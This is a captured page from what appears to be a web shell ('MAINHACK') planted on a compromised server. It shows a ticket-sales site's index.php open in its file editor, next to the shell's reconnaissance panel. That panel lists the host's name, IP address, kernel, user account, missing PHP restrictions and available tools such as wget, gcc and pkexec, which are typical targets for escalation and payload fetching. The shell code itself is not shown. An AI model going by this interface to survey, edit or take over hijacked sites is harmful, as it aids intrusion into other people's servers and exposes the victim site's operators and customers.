[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: index.php
<?php include("functions.php"); $message = ""; // Check if form submitted if($_SERVER["REQUEST_METHOD"] == "POST"){ if(!csrf_token_is_valid() || !csrf_token_is_recent()) { $message = "<p class='alert alert-danger text-center ' role='alert'>Token Authentication Failed</p>"; } else { // Sanitize input $name = test_input($_POST['name']); $phone = test_input($_POST['phone']); $email = test_input($_POST['email']); // Basic validation if (empty($name) || empty($phone) || empty($email)) { die("Please fill in all fields."); } if (!preg_match('/^[0-9]{10,15}$/', $phone)) { die("Invalid phone number."); } if (!filter_var($email, FILTER_VALIDATE_EMAIL)) { die("Invalid email format."); } // Check if email already exists $checkStmt = $con->prepare("SELECT email FROM users WHERE email = ?"); $checkStmt->execute([$email]); $_SESSION['user_email1'] = $phone; $_SESSION['user_email'] = $email; if ($checkStmt->fetch()) { // Email exists, show error modal echo ' <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Registration Error</title> <style> .modal-overlay { display: flex; justify-content: center; align-items: center; position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: rgba(0, 0, 0, 0.5); z-index: 1000; } .modal-content { font-family: Arial, sans-serif; color: #dc3545; background-color: #f8d7da; padding: 20px; border-radius: 5px; text-align: center; width: 80%; max-width: 500px; box-shadow: 0 4px 8px rgba(0, 0, 0, 0.2); animation: fadeIn 0.3s ease-in; } @keyframes fadeIn { from { opacity: 0; transform: scale(0.8); } to { opacity: 1; transform: scale(1); } } </style> </head> <body> <div class="modal-overlay"> <div class="modal-content"> PROCEED TO MAKE PAYMENT TO GET YOUR TICKET CODE </div> <script> setTimeout(function() { window.location.href = "makepayment"; // Replace with your target page }, 3000); </script> </body> </html>'; exit(); } // Insert into users table $stmt = $con->prepare("INSERT INTO users (name, phone, email) VALUES (?, ?, ?)"); $stmt->execute([$name, $phone, $email]); $_SESSION['user_email1'] = $phone; $_SESSION['user_email'] = $email; // Output success modal echo ' <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Registration Successful</title> <style> .modal-overlay { display: flex; justify-content: center; align-items: center; position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: rgba(0, 0, 0, 0.5); z-index: 1000; } .modal-content { font-family: Arial, sans-serif; color: #28a745; background-color: #d4edda; padding: 20px; border-radius: 5px; text-align: center; width: 80%; max-width: 500px; box-shadow: 0 4px 8px rgba(0, 0, 0, 0.2); animation: fadeIn 0.3s ease-in; } @keyframes fadeIn { from { opacity: 0; transform: scale(0.8); } to { opacity: 1; transform: scale(1); } } </style> </head> <body> <div class="modal-overlay"> <div class="modal-content"> PROCEED TO MAKE PAYMENT TO GET YOUR TICKET CODE </div> </div> <script> setTimeout(function() { window.location.href = "makepayment"; // Replace with your target page }, 3000); </script> </body> </html>'; exit(); } } ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>BUY TICKET</title> <!-- Bootstrap CSS for responsive design --> <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.3/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-QWTKZyjpPEjISv5WaRU9OFeRpok6YctnYmDr5pNlyT2bRjXh0JMhjY6hW+ALEwIH" crossorigin="anonymous"> <!-- Custom CSS --> <script src="https://cdn.jsdelivr.net/npm/sweetalert2@11"></script> <style> body { font-family: 'Arial', sans-serif; background-color: #e9f0f8; margin: 0; padding: 0; display: flex; flex-direction: column; min-height: 100vh; } /* Header Styling */ .header { background-color: #003087; color: white; padding: 1rem 0; text-align: center; box-shadow: 0 2px 5px rgba(0, 0, 0, 0.1); } .header img { width: 40px; margin-right: 10px; } .header h1 { margin: 0; font-size: 1.5rem; display: inline; vertical-align: middle; } /* Main Content Styling */ .main-content { flex: 1; display: flex; justify-content: center; align-items: flex-start; padding: 2rem; gap: 2rem; } .card { border: none; border-radius: 10px; box-shadow: 0 4px 15px rgba(0, 0, 0, 0.1); padding: 1.5rem; width: 100%; max-width: 350px; } .card.announcements { background-color: white; } .card.signin { background-color: white; border-left: 5px solid #ffc107; } .card.support { background-color: white; } .card h3 { color: #003087; font-size: 1.2rem; margin-bottom: 1rem; } .card.announcements p { color: #333; font-size: 1rem; margin-bottom: 1rem; } .card.announcements a { color: #003087; text-decoration: none; } .card.announcements a:hover { text-decoration: underline; } .card.signin h3 { color: #dc3545; text-align: center; margin-bottom: 1.5rem; } .card.signin .form-group { margin-bottom: 1rem; } .card.signin label { font-weight: bold; color: #333; font-size: 0.9rem; } .card.signin input { width: 100%; padding: 0.5rem; border: 1px solid #ccc; border-radius: 5px; font-size: 0.9rem; } .card.signin input::placeholder { color: #aaa; } .card.signin .btn-signin { background-color: #003087; color: white; padding: 0.75rem; border: none; border-radius: 5px; font-size: 1rem; width: 100%; cursor: pointer; transition: background-color 0.3s ease; } .card.signin .btn-signin:hover { background-color: #001f5f; } .card.signin .support-link { color: #003087; text-decoration: none; font-size: 0.9rem; display: block; margin-top: 1rem; } .card.signin .support-link:hover { text-decoration: underline; } .card.support h3 { color: #003087; margin-bottom: 1rem; } .card.support p { color: #333; font-size: 0.9rem; margin-bottom: 1rem; } .card.support a { display: block; margin-bottom: 1rem; color: #003087; text-decoration: none; background-color: #007bff; padding: 0.5rem; border-radius: 5px; color: white; text-align: center; } .card.support a:hover { background-color: #0056b3; text-decoration: none; } /* Footer Styling */ .footer { background-color: #003087; color: white; text-align: center; padding: 1rem 0; font-size: 0.9rem; } /* Responsive Adjustments */ @media (max-width: 768px) { .main-content { flex-direction: column; align-items: center; } .card { max-width: 100%; margin-bottom: 2rem; } .header h1 { font-size: 1.2rem; } } @media (max-width: 576px) { .header h1 { font-size: 1rem; } .card h3 { font-size: 1.1rem; } } </style> <style> .error-message { color: red; font-size: 0.9em; margin-top: 5px; } </style> </head> <body> <!-- Header --> <header class="header"> <h1>BUY YOUR TICKET</h1> </header> <br /><br /> <!-- Main Content --> <main class="main-content"> <div class="card announcements"> <center><h3>PRICING</h3></center> <div class="amount-card border border-gray-300 rounded-xl p-4 text-center cursor-pointer hover:bg-blue-100" data-amount="20"> <span class="text-base sm:text-lg font-semibold">1 Ticket - GHS 20</span> </div> <div class="amount-card border border-gray-300 rounded-xl p-4 text-center cursor-pointer hover:bg-blue-100" data-amount="50"> <span class="text-base sm:text-lg font-semibold">3 Tickets - GHS 50</span> </div> <div class="amount-card border border-gray-300 rounded-xl p-4 text-center cursor-pointer hover:bg-blue-100" data-amount="80"> <span class="text-base sm:text-lg font-semibold">5 Tickets - GHS 80</span> </div> <div class="amount-card border border-gray-300 rounded-xl p-4 text-center cursor-pointer hover:bg-blue-100" data-amount="150"> <span class="text-base sm:text-lg font-semibold">10 Tickets - GHS 150</span> </div> </div> <div class="card signin"> <h3>Enter your details.</h3> <form id="registrationForm" method="POST" onsubmit="return validateForm()"> <?php echo csrf_token_tag(); ?> <div class="form-group"> <label for="name">Name:</label> <input type="text" id="name" name="name" placeholder="Your name"> <div class="error-message" id="nameError"></div> </div> <div class="form-group"> <label for="phone">Phone number:</label> <input type="text" id="phone" name="phone" placeholder="Phone number"> <div class="error-message" id="phoneError"></div> </div> <div class="form-group"> <label for="email">Email:</label> <input type="email" id="email" name="email" placeholder="Email address"> <div class="error-message" id="emailError"></div> </div> <button type="submit" name="submit" class="btn-signin">Buy Ticket</button> </form> <!--<h1>Countdown to Event</h1>--> <!-- <div id="countdown"></div>--> </div> </main> <script> function validateForm() { let isValid = true; // Get input values const name = document.getElementById('name').value.trim(); const phone = document.getElementById('phone').value.trim(); const email = document.getElementById('email').value.trim(); // Get error divs const nameError = document.getElementById('nameError'); const phoneError = document.getElementById('phoneError'); const emailError = document.getElementById('emailError'); // Clear previous error messages nameError.textContent = ''; phoneError.textContent = ''; emailError.textContent = ''; // Validate name if (name === '') { nameError.textContent = 'Please enter your name.'; isValid = false; } // Validate phone const phoneRegex = /^[0-9]{10,15}$/; if (!phoneRegex.test(phone)) { phoneError.textContent = 'Enter a valid phone number (10–15 digits).'; isValid = false; } // Validate email const emailRegex = /^[^\s@]+@[^\s@]+\.[^\s@]+$/; if (!emailRegex.test(email)) { emailError.textContent = 'Please enter a valid email address.'; isValid = false; } return isValid; } </script> // <script> // const eventDate = new Date('2025-07-27'); // Replace with your event date // function startCountdown() { // const now = new Date(); // const timeDifference = eventDate - now; // if (timeDifference <= 0) { // document.getElementById('countdown').innerText = "Event has already started or occurred!"; // return; // } // const days = Math.floor(timeDifference / (1000 * 60 * 60 * 24)); // const hours = Math.floor((timeDifference % (1000 * 60 * 60 * 24)) / (1000 * 60 * 60)); // const minutes = Math.floor((timeDifference % (1000 * 60 * 60)) / (1000 * 60)); // const seconds = Math.floor((timeDifference % (1000 * 60)) / 1000); // document.getElementById('countdown').innerText = // `${days}d ${hours}h ${minutes}m ${seconds}s until the event`; // setTimeout(startCountdown, 1000); // } // startCountdown(); // </script> <!-- Footer --> <footer class="footer"> <p class="mb-0">© <script>document.write(new Date().getFullYear())</script> SYMPHONY OF PRAISE</p> </footer> <!-- Bootstrap JS (Optional for interactivity) --> <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.3/dist/js/bootstrap.bundle.min.js" integrity="sha384-YvpcrYf0tY3lHB60NNkmXc5s9fDVZLESaAA55NDzOxhy9GkcIdslK1eN7N6jIeHz" crossorigin="anonymous"></script> </body> </html>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.82 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002